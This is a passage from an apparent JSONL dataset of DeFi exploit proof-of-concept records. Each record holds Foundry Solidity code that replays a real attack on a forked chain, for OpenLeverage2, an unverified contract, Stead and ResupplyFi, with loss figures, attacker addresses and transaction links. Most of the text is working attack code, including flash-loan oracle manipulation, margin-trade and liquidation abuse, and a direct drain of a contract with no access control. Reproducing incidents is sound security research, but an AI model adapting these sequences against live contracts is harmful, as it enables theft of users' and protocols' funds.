];\n\n for (uint256 i = 0; i < targetToken.length; i++) {\n _attack(targetToken[i]);\n }\n }", "has_exploit_code": true, "keyinfo_total_lost": "~200K", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x791c6542bc52efe4f20df0ee672b88579ae3fd9a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x80a0d7a6fd2a22982ce282933b384568e5c852bf", "keyinfo_attack_tx": "https://bscscan.com/tx/0xd348b5fc00b26fc1457b70d02f9cb5e5a66a564cc4eba2136a473866a47dac08", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "ChaingeFinance Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~234K\n// Attacker : https://bscscan.com/address/0x5bb5b6d41c3e5e41d9b9ed33d12f1537a1293d5f\n// Vulnerable Contract : https://bscscan.com/address/0xf436f8fe7b26d87eb74e5446acec2e8ad4075e47\n// Attack Tx 1 : https://app.blocksec.com/explorer/tx/bsc/0xf78a85eb32a193e3ed2e708803b57ea8ea22a7f25792851e3de2d7945e6d02d5\n// Attack Tx 2 : https://app.blocksec.com/explorer/tx/bsc/0x210071108f3e5cd24f49ef4b8bcdc11804984b0c0334e18a9a2cdb4cd5186067\n\n// @Analysis\n \n\ninterface ITradeController {\n function activeTrades(\n address,\n uint16,\n bool\n ) external view returns (uint256 deposited, uint256 held, bool depositToken, uint128 lastBlockNum);\n\n function getCash() external view returns (uint256);\n\n function markets(\n uint16\n )\n external\n view\n returns (\n address pool0,\n address pool1,\n address token0,\n address token1,\n uint16 marginLimit,\n uint16 feesRate,\n uint16 priceDiffientRatio,\n address priceUpdater,\n uint256 pool0Insurance,\n uint256 pool1Insurance\n );\n\n function payoffTrade(uint16 marketId, bool longToken) external payable;\n\n function marginTrade(\n uint16 marketId,\n bool longToken,\n bool depositToken,\n uint256 deposit,\n uint256 borrow,\n uint256 minBuyAmount,\n bytes memory dexData\n ) external payable returns (uint256);\n}\n\ninterface ILToken is ICErc20Delegate {\n function availableForBorrow() external view returns (uint256);\n}\n\ninterface IxOLE is IERC20 {\n function create_lock(uint256 _value, uint256 _unlock_time) external;\n}\n\ninterface IOPBorrowingDelegator {\n function borrow(uint16 marketId, bool collateralIndex, uint256 collateral, uint256 borrowing) external payable;\n\n function liquidate(uint16 marketId, bool collateralIndex, address borrower) external;\n}\n\ncontract ContractTest is Test {\n struct SwapDescription {\n address srcToken;\n address dstToken;\n address srcReceiver;\n address dstReceiver;\n uint256 amount;\n uint256 minReturnAmount;\n uint256 flags;\n }\n\n IERC20 private constant ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IERC20 private constant USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n IERC20 private constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private constant OLE = IERC20(0xB7E2713CF55cf4b469B5a8421Ae6Fc0ED18F1467);\n IxOLE private constant xOLE = IxOLE(0x71F1158D76aF5B6762D5EbCdEE19105eab2C77d2);\n ILToken private constant LToken = ILToken(payable(0x7c5e04894410e98b1788fbdB181FfACbf8e60617));\n Uni_Pair_V2 private constant USDC_OLE = Uni_Pair_V2(0x44f508dcDa27E8AFa647cD978510EAC5e63E16a4);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n ITradeController private constant TradeController = ITradeController(0x6A75aC4b8d8E76d15502E69Be4cb6325422833B4);\n IOPBorrowingDelegator private constant OPBorrowingDelegator =\n IOPBorrowingDelegator(0xF436F8FE7B26D87eb74e5446aCEc2e8aD4075E47);\n uint16 private constant marketId = 24;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 37_470_328);\n vm.label(address(ETH), \"ETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(BTCB), \"BTCB\");\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(OLE), \"OLE\");\n vm.label(address(xOLE), \"xOLE\");\n vm.label(address(USDC_OLE), \"USDC_OLE\");\n vm.label(address(Router), \"Router\");\n vm.label(address(TradeController), \"TradeController\");\n vm.label(address(OPBorrowingDelegator), \"OPBorrowingDelegator\");\n }\n\n function testExploit() public {\n // First TX\n deal(address(this), 5 ether);\n emit log_named_decimal_uint(\"Exploiter BNB balance before attack\", address(this).balance, 18);\n\n USDC.approve(address(Router), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n\n WBNBToOLE();\n // Add liquidity to pair\n OLE.transfer(address(USDC_OLE), OLE.balanceOf(address(this)));\n USDC.transfer(address(USDC_OLE), USDC.balanceOf(address(this)));\n USDC_OLE.mint(address(this));\n\n // Deposit and lock liquidity\n USDC_OLE.approve(address(xOLE), USDC_OLE.balanceOf(address(this)));\n xOLE.create_lock(1, 1_814_400 + block.timestamp);\n\n (,,,, uint16 marginLimit, uint16 feesRate, uint16 priceDiffientRatio,,,) = TradeController.markets(marketId);\n uint256 underlyingWBNBBal = LToken.getCash();\n if (underlyingWBNBBal > 1e14) {\n (bool success,) = address(LToken).call(abi.encodeWithSignature(\"accrueInterest()\"));\n require(success, \"Call to accrueInterest() not successful\");\n uint256 availableBorrow = LToken.availableForBorrow();\n\n address[] memory path = new address[](3);\n path[0] = address(WBNB);\n path[1] = address(BUSDT);\n path[2] = address(WBNB);\n uint256[] memory amountsOut = Router.getAmountsOut(address(this).balance, path);\n uint256 amountToBorrow = (amountsOut[2] * 3000) / marginLimit;\n uint256[] memory amounts = WBNBToBUSDT();\n BUSDT.approve(address(TradeController), amounts[1]);\n\n Executor executor = new Executor();\n SwapDescription memory desc = SwapDescription({\n srcToken: address(WBNB),\n dstToken: address(BUSDT),\n srcReceiver: address(executor),\n dstReceiver: address(TradeController),\n amount: amountToBorrow,\n minReturnAmount: 1,\n flags: 4\n });\n bytes memory permit = \"\";\n bytes memory data =\n abi.encode(address(this), address(WBNB), address(BUSDT), 65_560, address(OPBorrowingDelegator));\n bytes memory swapData = abi.encodeWithSelector(bytes4(0x12aa3caf), address(executor), desc, permit, data);\n\n // First byte = Dex ID\n bytes memory dexData = abi.encodePacked(bytes5(hex\"1500000002\"), swapData);\n\n TradeController.marginTrade(marketId, true, true, amountsOut[1], amountToBorrow, 0, dexData);\n\n OPBorrowingDelegator.liquidate(marketId, true, address(this));\n }\n\n // Second TX\n vm.rollFork(37_470_331);\n\n TradeController.markets(marketId);\n TradeController.payoffTrade(marketId, true);\n WBNB.withdraw(WBNB.balanceOf(address(this)));\n BUSDTToWBNB();\n\n emit log_named_decimal_uint(\"Exploiter BNB balance after attack\", address(this).balance, 18);\n }\n\n receive() external payable {}\n\n function borrow() external {\n BUSDT.approve(address(OPBorrowingDelegator), type(uint256).max);\n TradeController.markets(marketId);\n OPBorrowingDelegator.borrow(marketId, true, 1_000_000, 0);\n }\n\n function WBNBToOLE() private {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(USDC);\n Router.swapETHForExactTokens{value: 0.01 ether}(100, path, address(this), block.timestamp);\n\n path[0] = address(USDC);\n path[1] = address(OLE);\n Router.swapTokensForExactTokens(100, 100, path, address(this), block.timestamp);\n }\n\n function WBNBToBUSDT() private returns (uint256[] memory amounts) {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BUSDT);\n\n amounts = Router.swapExactETHForTokens{value: address(this).balance}(0, path, address(this), block.timestamp);\n }\n\n function BUSDTToWBNB() private {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(WBNB);\n\n Router.swapExactTokensForETH(BUSDT.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n }\n}\n\ncontract Executor {\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address private immutable owner;\n\n // address private constant AggregationRouterAddr = 0x1111111254EEB25477B68fb85Ed929f73A960582;\n\n constructor() {\n owner = msg.sender;\n }\n\n function execute(\n address _sender\n ) external {\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BUSDT);\n Router.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 1, path, msg.sender, block.timestamp);\n (bool success,) = owner.call(abi.encodeWithSignature(\"borrow()\"));\n require(success, \"Call to borrow not successful\");\n }\n}\n", "type": "exploit_poc", "protocol": "OpenLeverage2", "date": "2024-04", "file_name": "OpenLeverage2_exp.sol", "attack_vector": null, "content_hash": "3b8fc9d549e7c717", "collected_at": "2026-01-07T10:59:16.527846", "_source": "postmortems", "chain": "bsc", "block_number": 37470328, "total_lost_raw": "~234K", "total_lost_usd": 234000.0, "attacker_address": "https://bscscan.com/address/0x5bb5b6d41c3e5e41d9b9ed33d12f1537a1293d5f", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0xf436f8fe7b26d87eb74e5446acec2e8ad4075e47", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~234K", "category": "unknown", "exploit_code": "function testExploit() public {\n // First TX\n deal(address(this), 5 ether);\n emit log_named_decimal_uint(\"Exploiter BNB balance before attack\", address(this).balance, 18);\n\n USDC.approve(address(Router), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n\n WBNBToOLE();\n // Add liquidity to pair\n OLE.transfer(address(USDC_OLE), OLE.balanceOf(address(this)));\n USDC.transfer(address(USDC_OLE), USDC.balanceOf(address(this)));\n USDC_OLE.mint(address(this));\n\n // Deposit and lock liquidity\n USDC_OLE.approve(address(xOLE), USDC_OLE.balanceOf(address(this)));\n xOLE.create_lock(1, 1_814_400 + block.timestamp);\n\n (,,,, uint16 marginLimit, uint16 feesRate, uint16 priceDiffientRatio,,,) = TradeController.markets(marketId);\n uint256 underlyingWBNBBal = LToken.getCash();\n if (underlyingWBNBBal > 1e14) {\n (bool success,) = address(LToken).call(abi.encodeWithSignature(\"accrueInterest()\"));\n require(success, \"Call to accrueInterest() not successful\");\n uint256 availableBorrow = LToken.availableForBorrow();\n\n address[] memory path = new address[](3);\n path[0] = address(WBNB);\n path[1] = address(BUSDT);\n path[2] = address(WBNB);\n uint256[] memory amountsOut = Router.getAmountsOut(address(this).balance, path);\n uint256 amountToBorrow = (amountsOut[2] * 3000) / marginLimit;\n uint256[] memory amounts = WBNBToBUSDT();\n BUSDT.approve(address(TradeController), amounts[1]);\n\n Executor executor = new Executor();\n SwapDescription memory desc = SwapDescription({\n srcToken: address(WBNB),\n dstToken: address(BUSDT),\n srcReceiver: address(executor),\n dstReceiver: address(TradeController),\n amount: amountToBorrow,\n minReturnAmount: 1,\n flags: 4\n });\n bytes memory permit = \"\";\n bytes memory data =\n abi.encode(address(this), address(WBNB), address(BUSDT), 65_560, address(OPBorrowingDelegator));\n bytes memory swapData = abi.encodeWithSelector(bytes4(0x12aa3caf), address(executor), desc, permit, data);\n\n // First byte = Dex ID\n bytes memory dexData = abi.encodePacked(bytes5(hex\"1500000002\"), swapData);\n\n TradeController.marginTrade(marketId, true, true, amountsOut[1], amountToBorrow, 0, dexData);\n\n OPBorrowingDelegator.liquidate(marketId, true, address(this));\n }\n\n // Second TX\n vm.rollFork(37_470_331);\n\n TradeController.markets(marketId);\n TradeController.payoffTrade(marketId, true);\n WBNB.withdraw(WBNB.balanceOf(address(this)));\n BUSDTToWBNB();\n\n emit log_named_decimal_uint(\"Exploiter BNB balance after attack\", address(this).balance, 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~234K", "keyinfo_attacker": "https://bscscan.com/address/0x5bb5b6d41c3e5e41d9b9ed33d12f1537a1293d5f", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xf436f8fe7b26d87eb74e5446acec2e8ad4075e47", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$234.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "OpenLeverage2 Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/eth/0x998f1da472d927e74405b0aa1bbf5c1dbc50d74b39977bed3307ea2ada1f1d3f\n// GUY : https://x.com/CyversAlerts/status/1780593407871635538\n// Profit : ~18 WETH\n\ncontract ContractTest is Test {\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n address public vulnContract = 0x00C409001C1900DdCdA20000008E112417DB003b;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n\n event log_data(bytes data);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_255_512);\n }\n\n function testExploit() external {\n deal(address(weth), address(this), 4704.1 ether);\n emit log_named_decimal_uint(\n \"[End] Attacker weth balance before exploit\", weth.balanceOf(address(this)), weth.decimals()\n );\n attack();\n emit log_named_decimal_uint(\n \"[End] Attacker weth balance after exploit\", weth.balanceOf(address(this)), weth.decimals()\n );\n }\n\n function attack() public {\n weth.withdraw(4704.1 ether);\n address(vulnContract).call{value: 4704.1 ether}(\"\");\n bytes memory data = abi.encodeWithSelector(\n bytes4(0xba381f8f),\n 0xffffffffffffffffff,\n 0x01,\n address(this),\n address(this),\n 0x00,\n 0x00,\n 0x00,\n address(this),\n 0x01\n );\n emit log_data(data);\n // bytes memory data=hex\"ba381f8f0000000000000000000000000000000000000000000000ffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000001\";\n vulnContract.call(data);\n }\n\n function getBalance(\n address token\n ) public view returns (uint256) {\n return 1;\n }\n\n function getbalance() public {\n emit log_named_decimal_uint(\"this token balance\", weth.balanceOf(address(vulnContract)), weth.decimals());\n }\n\n function getReserves() public view returns (uint256, uint256, uint256) {\n return (1, 1, block.timestamp);\n }\n\n function calcOutGivenIn(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut,\n uint256 a,\n uint256 b,\n uint256 c\n ) public pure returns (uint256 amountOut) {\n return 1;\n }\n\n function swapExactAmountIn(\n address tokenIn,\n uint256 tokenAmountIn,\n address tokenOut,\n uint256 minAmountOut,\n uint256 maxPrice\n ) external returns (uint256, uint256) {\n weth.transferFrom(msg.sender, address(this), tokenAmountIn);\n return (0, 0);\n }\n\n function transfer(address to, uint256 value) public returns (bool) {\n return true;\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "UnverifiedContr_0x00C409", "date": "2024-04", "file_name": "UnverifiedContr_0x00C409_exp.sol", "attack_vector": null, "content_hash": "fd8c84e774e340a9", "collected_at": "2026-01-07T10:59:16.527919", "_source": "postmortems", "chain": "unknown", "block_number": 19255512, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function attack() public {\n weth.withdraw(4704.1 ether);\n address(vulnContract).call{value: 4704.1 ether}(\"\");\n bytes memory data = abi.encodeWithSelector(\n bytes4(0xba381f8f),\n 0xffffffffffffffffff,\n 0x01,\n address(this),\n address(this),\n 0x00,\n 0x00,\n 0x00,\n address(this),\n 0x01\n );\n emit log_data(data);\n // bytes memory data=hex\"ba381f8f0000000000000000000000000000000000000000000000ffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000001\";\n vulnContract.call(data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.71, "quality_estimate": "low", "title": "UnverifiedContr_0x00C409 Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 14.5k USD\n// Attacker : https://arbiscan.io/address/0x5fb0b8584b34e56e386941a65dbe455ad43c5a23\n// Attack Contract : N/A\n// Vulnerable Contract : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596\n// Attack Tx : https://arbiscan.io/tx/0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1939508301596672036\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant STEAD = 0x42F4e5Fcd12D59e879dbcB908c76032a4fb0303b;\naddress constant VICTIM = 0xf9FF933f51bA180a474634440a406c95DfB27596;\n\ncontract Contractf9ff is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 352509408 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", blocknumToForkFrom);\n fundingToken = STEAD;\n }\n\n function testExploit() public balanceLog {\n // The contract 0xf9ff lacks proper access control, allowing any to drain STEAD tokens from the contract.\n bytes4 selector = 0x16fb27ce;\n (bool success, ) = VICTIM.call(abi.encodePacked(selector, abi.encode(1, 1, 1)));\n require(success, \"Call failed\");\n }\n}\n", "type": "exploit_poc", "protocol": "Stead", "date": "2025-06", "file_name": "Stead_exp.sol", "attack_vector": "access_control", "content_hash": "271e87152bbff64b", "collected_at": "2026-01-07T10:59:16.527965", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "14.5k USD", "total_lost_usd": 14500.0, "attacker_address": "https://arbiscan.io/address/0x5fb0b8584b34e56e386941a65dbe455ad43c5a23", "attack_contract": null, "vulnerable_contract": "https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596", "attack_tx": "https://arbiscan.io/tx/0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1939508301596672036", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "14.5k USD", "category": "access-control", "exploit_code": "function testExploit() public balanceLog {\n // The contract 0xf9ff lacks proper access control, allowing any to drain STEAD tokens from the contract.\n bytes4 selector = 0x16fb27ce;\n (bool success, ) = VICTIM.call(abi.encodePacked(selector, abi.encode(1, 1, 1)));\n require(success, \"Call failed\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "14.5k USD", "keyinfo_attacker": "https://arbiscan.io/address/0x5fb0b8584b34e56e386941a65dbe455ad43c5a23", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596", "keyinfo_attack_tx": "https://arbiscan.io/tx/0x32dbfce2253002498cd41a2d79e249250f92673bc3de652f3919591ee26e8001", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1939508301596672036", "funds_lost_formatted": "$14.5K", "content_richness_score": 7.71, "quality_estimate": "medium", "title": "Stead Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 9.6M USD\n// Attacker : https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea\n// Attack Contract : https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7\n// Vulnerable Contract : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6\n// Attack Tx : https://etherscan.io/tx/0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code\n\n// @Analysis\n// Post-mortem : https://mirror.xyz/0x521CB9b35514E9c8a8a929C890bf1489F63B2C84/ygJ1kh6satW9l_NDBM47V87CfaQbn2q0tWy_rtp76OI\n// Twitter Guy : https://x.com/peckshield/status/1938061948647817647\n// Hacking God : N/A\n\ninterface IERC20 {\n function approve(address, uint256) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n function transfer(address, uint256) external;\n}\n\ninterface ICurvePool {\n function exchange(int128, int128, uint256, uint256) external;\n}\n\ninterface IsCRVUSD {\n function mint(\n uint256\n ) external;\n function approve(address, uint256) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n function redeem(uint256, address, address) external;\n}\n\ninterface IResupplyVault {\n function addCollateralVault(uint256, address) external;\n function borrow(uint256, uint256, address) external;\n}\n\ninterface IUniswapV3Pool {\n function swap(address, bool, int256, uint160, bytes calldata) external;\n}\n\ninterface IWETH {\n function balanceOf(\n address\n ) external view returns (uint256);\n function withdraw(\n uint256\n ) external;\n}\n\ninterface IMorphoBlue {\n function flashLoan(address, uint256, bytes calldata) external;\n}\n\ncontract ResupplyFi is BaseTestWithBalanceLog {\n // Token Addresses\n IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 private constant crvUsd = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);\n IsCRVUSD private constant sCrvUsd = IsCRVUSD(0x0655977FEb2f289A4aB78af67BAB0d17aAb84367);\n IERC20 private constant reUsd = IERC20(0x57aB1E0003F623289CD798B1824Be09a793e4Bec);\n IWETH private constant weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n // Contract Addresses\n IMorphoBlue private constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);\n ICurvePool private constant curveUsdcCrvusdPool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);\n IsCRVUSD private constant sCrvUsdContract = IsCRVUSD(0x01144442fba7aDccB5C9DC9cF33dd009D50A9e1D);\n IResupplyVault private constant resupplyVault = IResupplyVault(0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6);\n ICurvePool private constant curveReusdPool = ICurvePool(0xc522A6606BBA746d7960404F22a3DB936B6F4F50);\n IUniswapV3Pool private constant uniswapV3Pool = IUniswapV3Pool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);\n\n address private constant crvUSDController = 0x89707721927d7aaeeee513797A8d6cBbD0e08f41;\n\n // Exploit Parameters\n uint256 private constant forkBlockNumber = 22_785_460;\n uint256 private constant flashLoanAmount = 4000 * 1e6; // 4,000 USDC\n uint256 private constant crvUsdTransferAmount = 2000 * 1e18; // 2,000 crvUSD\n uint256 private constant sCrvUsdMintAmount = 1;\n uint256 private constant borrowAmount = 10_000_000 * 1e18; // 10,000,000 reUSD\n uint256 private constant redeemAmount = 9_339_517.438774046 ether; // ~9,339.52 sCrvUsd\n uint256 private constant finalExchangeAmount = 9_813_732.715269934 ether; // ~9,813.73 crvUSD\n\n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", forkBlockNumber);\n fundingToken = address(usdc);\n }\n\n function testExploit() public balanceLog {\n usdc.approve(address(morphoBlue), type(uint256).max);\n morphoBlue.flashLoan(address(usdc), flashLoanAmount, hex\"\");\n }\n\n function onMorphoFlashLoan(uint256, bytes calldata) external {\n require(msg.sender == address(morphoBlue), \"Caller is not MorphoBlue\");\n _swapUsdcForCrvUsd();\n _manipulateOracles();\n _borrowAndSwapReUSD();\n _redeemAndFinalSwap();\n }\n\n function _swapUsdcForCrvUsd() internal {\n usdc.approve(address(curveUsdcCrvusdPool), type(uint256).max);\n curveUsdcCrvusdPool.exchange(0, 1, flashLoanAmount, 0);\n }\n\n function _manipulateOracles() internal {\n crvUsd.transfer(crvUSDController, crvUsdTransferAmount);\n crvUsd.approve(address(sCrvUsdContract), type(uint256).max);\n sCrvUsdContract.mint(sCrvUsdMintAmount);\n }\n\n function _borrowAndSwapReUSD() internal {\n sCrvUsdContract.approve(address(resupplyVault), type(uint256).max);\n resupplyVault.addCollateralVault(sCrvUsdMintAmount, address(this));\n resupplyVault.borrow(borrowAmount, 0, address(this));\n reUsd.approve(address(curveReusdPool), type(uint256).max);\n curveReusdPool.exchange(0, 1, reUsd.balanceOf(address(this)), 0);\n }\n\n function _redeemAndFinalSwap() internal {\n sCrvUsd.redeem(redeemAmount, address(this), address(this));\n crvUsd.approve(address(curveUsdcCrvusdPool), type(uint256).max);\n curveUsdcCrvusdPool.exchange(1, 0, finalExchangeAmount, 0);\n }\n}\n", "type": "exploit_poc", "protocol": "ResupplyFi", "date": "2025-06", "file_name": "ResupplyFi_exp.sol", "attack_vector": "flash_loan", "content_hash": "fc28f11991fc7643", "collected_at": "2026-01-07T10:59:16.528005", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "9.6M USD", "total_lost_usd": 9600000.0, "attacker_address": "https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea", "attack_contract": "https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7", "vulnerable_contract": "https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6", "attack_tx": "https://etherscan.io/tx/0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3", "postmortem_url": "https://mirror.xyz/0x521CB9b35514E9c8a8a929C890bf1489F63B2C84/ygJ1kh6satW9l_NDBM47V87CfaQbn2q0tWy_rtp76OI", "twitter_url": "https://x.com/peckshield/status/1938061948647817647", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "9.6M USD", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n usdc.approve(address(morphoBlue), type(uint256).max);\n morphoBlue.flashLoan(address(usdc), flashLoanAmount, hex\"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "9.6M USD", "keyinfo_attacker": "https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea", "keyinfo_attack_contract": "https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6", "keyinfo_attack_tx": "https://etherscan.io/tx/0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3", "analysis_postmortem": "https://mirror.xyz/0x521CB9b35514E9c8a8a929C890bf1489F63B2C84/ygJ1kh6satW9l_NDBM47V87CfaQbn2q0tWy_rtp76OI", "analysis_twitter": "https://x.com/peckshield/status/1938061948647817647", "funds_lost_formatted": "$9.60M", "content_richness_score": 9.74, "quality_estimate": "high", "title": "ResupplyFi Exploit (2025-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 25k USD\n// Attacker : https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be98\n// Attack Contract : https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b80554424136\n// Vulnerable Contract : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710\n// Attack Tx : https://etherscan.io/tx/0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa69\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710#code\n\n// @Analysis\n// Post-mortem : 